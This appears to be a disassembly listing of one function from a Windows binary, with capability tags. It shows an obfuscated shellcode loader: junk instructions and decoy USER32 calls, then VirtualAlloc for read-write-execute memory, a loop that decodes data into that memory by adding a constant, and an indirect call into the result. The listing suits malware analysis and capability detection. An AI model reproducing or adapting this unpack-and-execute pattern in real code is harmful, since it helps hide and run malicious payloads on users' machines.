Function at 0x401094
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff2c
mov eax, dword [0x41d78c]
mov eax, dword [ebp - 0x34]
sub eax, eax
mov ecx, dword [ebp - 0x48]
xor eax, eax
cmp edx, 1
jae 0x4010d9
mov esi, dword [0x41d97c]
mov edi, dword [ebp - 0x94]
sub esi, ecx
mov eax, dword [ebp - 0xd0]
mov eax, dword [0x41d708]
mov ax, 0xbb
mov dword [ebp - 0xa0], edx
mov dword [0x41d8b4], eax
mov dword [0x41d7e4], eax
mov eax, dword [0x41d718]
mov eax, dword [ebp - 0x44]
sub edx, eax
cmp dword [0x41d7b4], 8
jg 0x401121
mov dword [ebp - 0x14], edx
mov eax, dword [0x41d600]
mov eax, dword [ebp - 0x2c]
add eax, eax
mov ecx, dword [0x41d784]
add esi, eax
mov dword [ebp - 0xd4], ecx
xor dword [0x41d600], 0xff
mov dword [0x41d8f4], esi
mov eax, dword [0x41d8e4]
mov esi, dword [ebp - 0xc4]
mov dword [ebp - 0x5c], eax
call fcn.00402be0
mov eax, dword [0x41d9c8]
mov eax, dword [ebp - 0x34]
sub edx, eax
cmp dword [0x41d78c], eax
ja 0x401162
mov ecx, dword [ebp - 0xb8]
mov edi, dword [0x41d9e4]
mov esi, dword [ebp - 0x28]
mov ax, 1
mov dword [ebp - 0x1c], eax
mov dword [0x41d7cc], eax
mov dword [ebp - 0x98], eax
mov dword [ebp - 0xb8], edx
push dword [0x41d8d0]
mov eax, dword [ebp - 0x70]
add eax, eax
push eax
call sub.USER32.DLL_IsChild
mov eax, dword [0x41d7e0]
mov edi, dword [ebp - 0x5c]
sub eax, edi
cmp esi, edx
jb 0x4011b0
mov dword [0x41d930], eax
mov ecx, dword [0x41d8e4]
mov ecx, dword [ebp - 0x6c]
sub eax, eax
mov eax, dword [0x41d788]
mov eax, 1
mov dword [ebp - 0x5c], eax
mov dword [0x41d83c], ecx
mov dword [ebp - 0x8c], esi
mov dword [ebp - 0x90], eax
call fcn.00402be0
mov eax, dword [0x41d68c]
mov ecx, dword [ebp - 0xb4]
mov cx, 0x8f
mov eax, dword [0x41d6c0]
mov si, 0xdf
cmp dword [0x41d7bc], 0x40
jbe 0x401215
mov esi, dword [0x41d9b4]
mov ecx, dword [0x41d600]
mov eax, dword [ebp - 0xb4]
add edi, eax
and edx, dword [ebp - 0x88]
mov esi, dword [0x41d70c]
mov edi, 0xbc
mov dword [ebp - 0x4c], edx
mov dword [0x41d788], eax
mov dword [ebp - 0x68], edi
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x7c]
lea edx, [ebp - 0x14]
push edx
call sub.USER32.DLL_CharNextA
call fcn.00403ad0
mov esi, dword [0x41d9e0]
mov edx, dword [ebp - 0x18]
sub eax, eax
mov edi, dword [ebp - 0x44]
mov ecx, dword [0x41d8a4]
add esi, eax
cmp dword [0x41d7ac], 0xf8
je 0x401271
mov dword [0x41d6e4], eax
mov eax, dword [0x41d600]
mov eax, dword [ebp - 0x5c]
mov ax, 0x10
mov edi, dword [ebp - 0xb4]
mov edx, dword [0x41d9b4]
mov dword [ebp - 0x5c], eax
sub dword [0x41d73c], edx
mov dword [0x41d87c], edx
mov edi, dword [sym.imp.USER32.DLL_GetMenu]
inc edi
mov ecx, dword [edi]
cmp ecx, dword [0x41d55d]
jne 0x401277
dec edi
mov edx, dword [edi]
mov dword [0x41d878], edx
mov eax, dword [0x41d9fc]
mov edx, dword [ebp - 0x70]
sub esi, eax
cmp eax, eax
jb 0x4012c1
mov dword [0x41d724], eax
mov ecx, dword [0x41d898]
mov edi, dword [ebp - 0xb8]
add eax, edx
mov ax, 1
mov dword [ebp - 0x14], eax
mov dword [0x41d7c4], esi
mov dword [0x41d944], eax
mov ecx, dword [ebp - 0x64]
push dword [0x41d7b4]
call sub.USER32.DLL_IsMenu
mov edi, dword [0x41d614]
mov eax, dword [ebp - 0xa4]
mov ax, 0xc8
mov ecx, dword [0x41d948]
add edi, eax
cmp dword [0x41d634], 0xa4
jbe 0x40131f
mov edi, dword [0x41d954]
mov dword [0x41d65c], edx
mov eax, dword [0x41d988]
mov eax, dword [ebp - 0x28]
add eax, eax
mov di, 2
mov dword [ebp - 0xd0], eax
mov dword [0x41d7bc], esi
mov dword [0x41d718], ecx
mov edx, dword [ebp - 0x24]
mov esi, dword [0x41d754]
mov esi, dword [ebp - 0x3c]
push esi
call sub.USER32.DLL_IsMenu
mov edx, dword [0x41d700]
mov edi, dword [ebp - 0xc0]
add edi, esi
mov eax, dword [ebp - 0x40]
mov eax, dword [0x41d85c]
cmp edi, 0
jbe 0x40136f
mov edx, dword [0x41d600]
mov eax, dword [0x41d6a0]
mov eax, dword [ebp - 0x40]
sub ecx, eax
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0xa8], esi
mov dword [0x41d6e0], eax
mov dword [0x41d600], eax
mov dword [0x41d670], ecx
lea eax, [ebp - 0x9c]
push eax
mov dword [ebp - 0x4c], ecx
mov dword [0x41d778], eax
push 0xda
call sub.USER32.DLL_IsChild
mov edx, dword [0x41d600]
mov esi, dword [ebp - 0x5c]
add edx, eax
cmp eax, dword [0x41d850]
jg 0x4013ce
mov eax, dword [0x41d90c]
mov ecx, dword [ebp - 0xb4]
add edi, esi
mov edi, dword [ebp - 0xa0]
sub eax, eax
mov dword [ebp - 0x68], edx
mov dword [0x41d7d8], esi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x94], ecx
mov edx, dword [ebp - 0xc8]
sub edx, dword [0x41d600]
mov dword [0x41d6dc], eax
mov dword [0x41d66c], edi
push 0xac
push 0
call sub.USER32.DLL_LoadIconA
mov esi, dword [0x41d968]
mov edi, dword [ebp - 0x24]
mov dx, 1
mov esi, dword [0x41d67c]
cmp eax, dword [0x41d7a4]
jl 0x401439
mov edi, dword [0x41d880]
mov dword [ebp - 8], edi
mov edx, dword [0x41d8e8]
mov eax, dword [ebp - 0x48]
mov edx, 0xd5
mov eax, dword [ebp - 0x88]
xor edx, eax
mov dword [ebp - 0x64], eax
mov dword [0x41d7c4], ecx
mov dword [0x41d6d0], esi
mov eax, dword [0x41d6bc]
mov dword [0x41d7cc], eax
mov dword [0x41d86c], ecx
push 0x40
push 0x1000
push 0x11000
push 0
call sub.kernel32.dll_VirtualAlloc
mov dword [0x41d858], eax
mov esi, dword [0x41d778]
sub eax, dword [ebp - 0x54]
mov eax, 0xd3
mov ax, 0x20
cmp eax, eax
je 0x40149e
mov eax, dword [0x41d918]
mov ecx, dword [ebp - 0xd4]
mov ecx, 0xd5
mov eax, dword [ebp - 0xcc]
add esi, eax
mov dword [ebp - 0xbc], edx
mov dword [0x41d928], esi
mov dword [ebp - 0x1c], edx
mov dword [0x41d7c4], eax
mov esi, dword [ebp - 0x48]
push eax
call sub.USER32.DLL_GetMenu
mov edx, dword [0x41d8e0]
mov eax, dword [ebp - 0x84]
mov ax, 0x10
cmp dword [ebp + 0xb], edi
jae 0x4014ea
mov edi, dword [0x41d8e8]
mov eax, dword [0x41d8a0]
mov esi, dword [ebp - 0x44]
add eax, eax
mov eax, dword [ebp - 0x44]
mov eax, dword [0x41d608]
mov dword [ebp - 0x64], edx
mov dword [0x41d600], eax
mov dword [ebp - 0x14], edi
mov esi, dword [ebp - 0xcc]
mov eax, dword [0x41d8c8]
mov eax, dword [0x41d9b0]
push eax
push dword [ebp - 0x28]
call sub.USER32.DLL_IsChild
mov ecx, dword [0x41d870]
mov ecx, dword [ebp - 0x1c]
mov ax, 0x80
mov eax, dword [ebp - 0x54]
mov eax, dword [0x41d6cc]
cmp dword [0x41d7d4], 0x6c
jae 0x401557
mov eax, dword [0x41d66c]
mov eax, dword [0x41d91c]
mov eax, dword [0x41d738]
mov eax, dword [ebp - 0x10]
add eax, esi
mov edi, dword [ebp - 0x78]
mov eax, dword [0x41d880]
add dword [ebp - 0xd0], 0x4a
mov dword [0x41d600], edi
mov dword [ebp - 0xcc], ecx
mov dword [0x41d78c], edi
mov dword [0x41d900], edi
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 8]
mov esi, dword [ebp - 0x58]
push esi
mov eax, dword [ebp - 0x88]
push eax
call sub.USER32.DLL_IsChild
mov ecx, dword [0x41d684]
mov eax, dword [ebp - 0xac]
mov esi, 0xdd
mov edx, dword [0x41d6c8]
cmp dword [0x41d988], 0x9d
je 0x4015c2
mov edi, dword [ebp - 0x34]
mov dword [0x41d988], ecx
mov edx, dword [0x41d7d4]
mov edx, dword [ebp - 0x74]
sub esi, edx
mov eax, dword [ebp - 0x5c]
mov esi, dword [0x41d8ac]
mov eax, 0xf3
mov dword [ebp - 0x18], edx
mov dword [0x41d76c], eax
mov dword [0x41d7f4], ecx
mov dword [0x41d908], eax
mov dword [0x41d7f8], ecx
mov edi, dword [0x41d920]
mov ecx, dword [0x41d858]
mov eax, 0x2a0
mov edi, dword [0x41d878]
add edi, 0x1315481
mov edx, dword [edi]
add edx, 0x9d101d1a
mov dword [ecx], edx
add edi, 4
sub ecx, 0xfffffffc
dec eax
test eax, eax
jne 0x4015e5
mov ecx, dword [0x41d9a8]
mov edx, dword [ebp - 0xb8]
mov cx, 1
mov eax, 0x40
cmp dword [0x41d62c], 8
jl 0x40164b
mov esi, dword [0x41d7bc]
mov dword [ebp - 0xb4], edx
mov eax, dword [0x41d644]
mov eax, dword [ebp - 8]
sub esi, esi
mov eax, dword [0x41d7f8]
mov dword [ebp - 0x7c], edx
mov dword [0x41d618], esi
mov dword [0x41d6a0], edx
mov dword [0x41d7a8], ecx
mov dword [ebp - 0x5c], edx
mov dword [0x41d7b4], eax
mov dword [ebp - 0x90], edx
push 0x40
call sub.USER32.DLL_IsMenu
mov edx, dword [0x41d64c]
mov eax, dword [ebp - 0xc8]
mov ax, 1
cmp dword [0x41d95c], 0x40
jl 0x4016b6
mov dword [0x41d718], edi
mov dword [0x41d7e0], eax
mov eax, dword [0x41d798]
mov eax, dword [ebp - 0x8c]
xor esi, edx
mov ecx, dword [0x41d600]
mov edx, 1
mov dword [ebp - 0x88], eax
mov dword [0x41d96c], eax
mov dword [ebp - 0x54], edx
mov dword [0x41d600], ecx
mov edi, dword [0x41d66c]
mov dword [ebp - 0x4c], edi
mov dword [0x41d644], edi
sbb dword [0x41d720], edi
mov eax, dword [ebp - 0xc4]
mov eax, dword [0x41d61c]
push eax
mov eax, dword [ebp - 0x7c]
mov eax, dword [0x41d8dc]
push eax
call sub.USER32.DLL_IsChild
mov eax, dword [0x41d600]
mov edi, dword [ebp - 0x98]
mov eax, 2
mov ecx, dword [0x41d870]
sub eax, edi
cmp eax, dword [0x41d6c4]
je 0x401728
mov eax, dword [ebp - 0xd4]
mov eax, dword [0x41d6d4]
mov ecx, dword [0x41d8d0]
mov edi, dword [ebp - 0x38]
sub edx, eax
add eax, ecx
mov dword [ebp - 0x14], edi
mov dword [0x41d600], esi
mov dword [0x41d644], ecx
mov eax, dword [0x41d668]
mov dword [ebp - 0x38], eax
push 0x41d8e8
call sub.USER32.DLL_CharNextA
mov esi, dword [0x41d6e0]
mov edx, dword [ebp - 0x7c]
add edi, ecx
mov edx, dword [0x41d674]
sub eax, eax
cmp edi, 1
jae 0x401768
mov dword [0x41d664], eax
mov eax, dword [0x41d910]
mov edi, dword [ebp - 0x18]
sub eax, eax
mov dword [ebp - 0xc], esi
mov dword [0x41d6ac], edi
or dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0xac]
mov dword [ebp - 8], ecx
mov edi, dword [0x41d858]
call edi
mov esp, ebp
pop ebp
ret